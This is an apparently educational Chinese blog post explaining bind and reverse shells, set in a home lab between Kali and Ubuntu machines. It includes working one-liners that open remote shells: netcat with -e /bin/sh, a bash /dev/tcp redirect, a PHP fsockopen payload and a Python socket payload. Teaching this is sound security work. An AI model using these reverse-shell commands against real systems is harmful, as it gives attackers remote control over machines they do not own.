3分钟搞懂反弹shell
共 1751字,需浏览 4分钟
·
2020-08-06 18:29
实际上,很早很早以前就听说过反弹shell,我最早做的网络安全实验就开始反弹shell。比如这个知乎live中的第三个实验TCP会话劫持,就反弹了shell。一年前在与攻防团队的交流会上,再次听到反弹shell,当时也没放在心上,反正挺重要的。直到今天,才算彻底明白反弹shell是咋回事。如果用一句话概述,那么反弹shell就是:
黑客控制了目标,弹一个shell,构建一个稳定的通信后门正向shell:客户端想要获得服务端的shell
假设小黑是一名黑客
他悄咪咪溜进了知乎总部大楼,发现一台刘看山的电脑,但是刘看山出门了
于是小黑通过nc将这台电脑的控制权通过23333端口发射出去
小黑做了一系列的操作,又悄咪咪的原路返航
回到家后,通过nc连上刘看山的电脑
后来,刘看山的隐私泄露了~
(这里小黑是客户端,刘看山是服务端,服务端发射shell)
反向shell:服务端想要获得客户端的shell(也就是反弹shell)
假设小黑是一名黑客
他悄咪咪溜进了知乎总部大楼,发现一台刘看山的电脑,但是刘看山出门了
小黑发现电脑里有一个有趣的文件(刘看山的秘密)
小黑下载这个文件到自己的U盘里,又悄咪咪的原路返航
回到家后,小黑打开这个文件
发现电脑被刘看山控制了~
(这里小黑是客户端,刘看山是服务端,客户端发射shell)
正向shell(服务端送shell)
第一步:在kali rolling(服务端)上监听23333端口,并反弹shell
nc -lvp 23333 -e /bin/sh
第二步:在ubuntu18(客户端)上连接kali rolling的23333端口
这个时候,客户端就拿到服务端的shell控制权了
可以随意控制服务端
nc 192.168.160.140 23333
反向shell(客户端送shell)
第一步:在ubuntu18上选择增强版的netcat
一般ubuntu默认的是free-bsd版本的nc
update-alternatives --config nc
第二步:在kali rolling上启动服务端,等待客户端上钩
客户端只要吃钩子,服务端就获得了客户端的shell控制权
可以随意控制客户端
nc -lvp 23333
第三步:在ubuntu18上启动客户端,吃钩子
nc 192.168.160.140 23333 -e /bin/sh
我们发现必须客户端和服务端都安装了nc才能实现反弹shell(反向shell)
但是如果其中一方没有安装nc怎么办?
bash反弹shell
服务端(kali rolling上监听23333)
客户端吃钩子,服务端就成功控制客户端了
客户端(ubuntu18上bash反弹shell)
bash -i >& /dev/tcp/192.168.160.140/23333 0>&1
php反弹shell
服务端(kali rolling上监听23333)
客户端吃钩子,服务端就成功控制客户端了
客户端(ubuntu18上bash反弹shell)
php -r '$f=fsockopen("192.168.160.140",23333);exec("/bin/sh -i <&3 >&3 2>&3");'
python反弹shell
服务端(kali rolling上监听23333)
客户端吃钩子,服务端就成功控制客户端了
客户端(ubuntu18上bash反弹shell)
python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.160.140",23333));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'本篇完~